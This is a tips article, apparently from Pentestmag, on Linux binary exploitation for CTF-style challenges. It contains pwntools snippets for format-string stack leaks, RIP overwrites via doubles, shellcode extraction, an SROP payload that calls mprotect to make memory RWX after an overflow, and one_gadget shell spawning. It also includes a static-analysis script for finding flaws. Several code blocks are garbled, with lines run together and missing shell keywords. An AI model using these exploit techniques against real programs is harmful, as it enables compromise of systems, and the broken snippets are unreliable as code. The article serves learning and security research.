PWN Tips && Tricks — LINUX - Pentestmag

PWN Tips && Tricks — LINUX

PWN Tips && Tricks — LINUX

by Karol Mazurek

Each #TIP will be described according to the template below.

  1. Short description
  2. Script to copy (if applicable)
  3. Screenshot (if applicable)

#TIP1 — automation of leaking data from x64 binary with a format string

  • Simple python script for iterating the stack
import sys
from pwn import *
context.log_level = "error"
p = process(sys.argv[1])for i in range(int(sys.argv[2]), int(sys.argv[3])):
    p.sendline('%{}$p '.format(i).ljust(0x100, 'a'))
    print "{:2}: {}".format(i, p.recvline().split(' ')[0])p.close()

#TIP2 — Use . (dot) during format string exploitation

  • If user input is collected with scanf("%lf", &buffer[i]) , you can pass . as input, which will skip overwriting the data in a referenced variable.

You can check the exploitation with this dot in one of my articles here.

#TIP3— Data stored in memory as a double

  • You can easily convert your pointer value to double with the below function and overwrite RIP with the exact pointer value given in hex. (because this is how it is actually stored in memory when %lf being used)
def double_pointer(pointer_value):
    '''Convert x64 pointer to double representation'''
    byte_string = p64(pointer_value)
    hex_byte_string = binascii.hexlify(byte_string)
    return struct.unpack('d', hex_byte_string.decode('hex'))[0]

You can check the exploitation with this TIP in one of my writeups here.

#TIP4 — Assemble — link — extract — count opcodes

  • Use the below script to quickly assemble, link, and extract the opcodes.
# compile_shellcodex86
function compile_shellcodex86 {
    nasm -f elf -o "$1.o" "$1.asm"
    ld -m elf_i386 -o "$1" "$1.o"
    objdump -d "$1"|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/\ $//g'|sed 's/\ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' |tee -a "$1_extracted_shellcode"
    echo Length:`cat extracted_shellcode | grep -o x | wc -l`

You can check the exploitation with this TIP in one of my writeups here.

#TIP5 —If you cannot ROP use SROP

  • If you have Buffer Overflow vulnerability, you can use a technique called SROP to bypass the NX bit using mprotect().
  • This technique requires 2 Gadgets, the ability to write 300 B to the stack, and the ability to control the Instruction Pointer.
# Calling sigreturn() with mprotect() ---
vuln_function  = p64(0x40102e)
syscall_gadget = p64(0x401014)frame = SigreturnFrame(kernel="amd64")          # CREATING A SIGRETURN FRAME
frame.rax = 10                                  # MPROTECT SYSCALL
frame.rdi = 0x0000000000400000                  # BASE ADDRESS
frame.rsi = 0x4000                              # SIZE
frame.rdx = 7                                   # RWX PERMISSION
frame.rsp = 0x00000000004010d8                  # RET ADDRESS - pointer to vuln() = 0x0000000000401014                  # SYSCALL ADDRESSpayload = "A"*40 + vuln_function + syscall_gadget + str(frame)
p.sendline("C" * 14) # RAX = 15
# ---

You can check the exploitation with this TIP in one of my writeups here.

#TIP6 —Setting runtime variables

  • You can set target operating system, architecture, and bit-width using pwntools context object.
  • context.binary will automatically set all of the appropriate values.
  • context.log_level will help you with debugging.
from pwn import *
p = process("./binary")
context.binary = "./binary"
context.log_level = "debug"
elf = ELF("binary")
libc = ELF("")

You can read more in the pwntools docs.

#TIP7 — Export & analyze

  • Insta wins — go to Ghidra and export decompiled binary to C/C++ then use tools for source code static analysis on exported files to find potential vulnerabilities.


function static_c_analysis {
    if [ -z "$1" ]
        echo "USAGE: static_c_analysis [binary_code.c] [optional function() to test]"
        export bin_name="$1"
        echo "\n[cppcheck] ---------------------------------------------------------"|tee -a static_c_analysis.txt
        cppcheck --enable=all --inconclusive "$bin_name".c 2>&1 | tail -n+2 | tee -a static_c_analysis.txt
        echo "\n[flawfinder] ---------------------------------------------------------" >> static_c_analysis.txt
        flawfinder "$bin_name".c | tail -n +2 >> static_c_analysis.txt
        echo "\n[graudit] ---------------------------------------------------------"|tee -a static_c_analysis.txt
        graudit "$bin_name".c | tail -n +11 | tee -a static_c_analysis.txt
        echo "\n[pscan] ---------------------------------------------------------"|tee -a static_c_analysis.txt
        pscan "$bin_name".c | tee -a static_c_analysis.txtecho "\n[Weggli] ---------------------------------------------------------"|tee -a static_c_analysis.txt
        echo "[+] Testing calls to memcpy that write into a stack-buffer:" | tee -a static_c_analysis.txt
        weggli '{
            _ $buf[_];
        }' "./$1.c" | tee -a static_c_analysis.txtif [ ! -z $2 ]
            echo "[+] Testing calls to $2() that don't check the return value:"
            weggli '{
                strict: "$2"(_);
            }' "./$1.c" | tee -a static_c_analysis.txt
        fiecho "[+] Potentially vulnerable snprintf() users:" | tee -a static_c_analysis.txt
        weggli '{
            $ret = snprintf($b,_,_);
            $b[$ret] = _;
        }' "./$1.c" | tee -a static_c_analysis.txtecho "[+] Potentially uninitialized pointers:" | tee -a static_c_analysis.txt
        weggli '{ _* $p;
            NOT: $p = _;
            }' "./$1.c" | tee -a static_c_analysis.txtecho "[+] Potentially insecure WeakPtr usage:" | tee -a static_c_analysis.txt
        weggli --cpp '{
            $x = _.GetWeakPtr();
            $x->_;}' "./$1.c" | tee -a static_c_analysis.txtecho "[+] Debug only iterator validation:" | tee -a static_c_analysis.txt
        weggli -X 'DCHECK(_!=_.end());' "./$1.c" | tee -a static_c_analysis.txtecho "[+] Functions that perform writes into a stack-buffer based on a function argument:" | tee -a static_c_analysis.txt
        weggli '_ $fn(_ $limit) {
            _ $buf[_];
            for (_; $i<$limit; _) {
        }' "./$1.c" | tee -a static_c_analysis.txtecho "[+] Functions with the string decode in their name:" | tee -a static_c_analysis.txt
        weggli -R func=decode '_ $func(_) {_;}' "./$1.c" | tee -a static_c_analysis.txtecho "[+] Encoding/Conversion functions:" | tee -a static_c_analysis.txt
        weggli '_ $func($t *$input, $t2 *$output) {
            for (_($i);_;_) {
        }' "./$1.c" | tee -a static_c_analysis.txt# Custom weggli checks:
        echo "[+] Dangling pointer bugs:" | tee -a static_c_analysis.txt
        weggli -X '{
          if (_ && _($atomic++)) { _; }
        }' "./$1.c" | tee -a static_c_analysis.txtecho "\n[cflow] ---------------------------------------------------------" >> static_c_analysis.txt
        cflow --number --tree --brief "$bin_name".c >> static_c_analysis.txt

#TIP8 — Use floss instead of strings

Many malware authors evade heuristic detections by obfuscating only key portions of an executable. Often, these portions are strings and resources used to configure domains, files, and other artifacts of an infection. These key features will not show up as plaintext in the output of the strings.exe utility that we commonly use during basic static analysis.

  • The FireEye Labs Obfuscated String Solver (FLOSS) uses advanced static analysis techniques to automatically deobfuscate strings from malware binaries.
  • You can use it just like strings.exe to enhance the basic static analysis of unknown binaries.
### Install
$ pip install USE
floss -s elf.bin
floss pe.exe

#TIP9 — End of file [CTRL+D]

  • You can send string without ending it with a new line \n character using CTRL+D instead of ENTER .
  • It is useful if you want to send for example 16xA char in command line or using GDB.
  • It is possible as well with pwntools withprocess.send("A"*16) .

#TIP10 — UnicodeDecodeError

  • If you ever found this error in the server log while leaking the data using for example format string vulnerability : UnicodeDecodeError: ‘ascii’ codec can’t decode byte 0xc0 in position 0: ordinal not in range(128) — you can use .decode(“unicode_escape”) to mitigate this issue:
print("Address: " + hex(unpack("<Q",addr.ljust(8,b"\x00"))[0]) + " - Leaked data: " + leak.decode("unicode_escape"))

#TIP11 — No binary, -no problem

  • You may find yourself in a situation where you cannot just download the binary and it is possible only to exploit remote executable.
  • In this situation, you can dump the binary code using format string vulnerability and disassemble the leaked binary.

A practical example is available at this link.

#TIP12 — Automatic dynamic format string detection

  • You can find this kind of vulnerability using dynamic binary analysis with GEF format-string-helper functionality:


A practical example is available at this link.

#TIP13 — Exploiting ARM binaries

  • If you deal with ARM binaries, it will be hard on Ubuntu :)
  • Use the ready environment prepared by Maria Markstedter, available at this link, and mount it.
  • Start ARM environment as shown below:

practical example is available at this link.

#TIP14— access value printed by printf()

  • Use %s instead of %p format string.
    (access value printed by printf() instead of a pointer to the string)
  • %s takes memory location of char array as an argument and prints characters from there until a null byte is encountered.
  • printf() will print memory data from any address provided to it.
  • If the address of GOT section is provided, it will print the resolved libc address that was stored there.

A practical example is available at this link.

#TIP15— Use

A practical example is available at this link.

#TIP16 — Use one_gadget

  • One gadget is a line of C code: execve(“/bin/sh”, 0, 0); - this line of code spawns a shell.
  • It is available at this link and is very easy to use:

A practical example is available at this link.

#TIP17— Jumping to a shellcode

  • If you managed to control EIP and you want to jump to your shellcode, there are many ways to do that.
  • They were excellently covered in Abatchy’s article —you can check there a condition for each technique and see if you can make it work to reach your shellcode.

A practical example is available at this link.

Originally published at:

January 7, 2022
Notify of

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Inline Feedbacks
View all comments

© HAKIN9 MEDIA SP. Z O.O. SP. K. 2013

Privacy Preference Center


Cookies that are necessary for the site to function properly. This includes, storing the user's cookie consent state for the current domain, managing users carts to using the content network, Cloudflare, to identify trusted web traffic. See full Cookies declaration

gdpr, PYPF, woocommerce_cart_hash, woocommerce_items_in_cart, _wp_wocommerce_session, __cfduid [x2],


These are used to track user interaction and detect potential problems. These help us improve our services by providing analytical data on how users use this site.

_global_lucky_opt_out, _lo_np_, _lo_cid, _lo_uid, _lo_rid, _lo_v, __lotr
_ga, _gid, _gat, __utma, __utmt, __utmb, __utmc, __utmz


tr, fr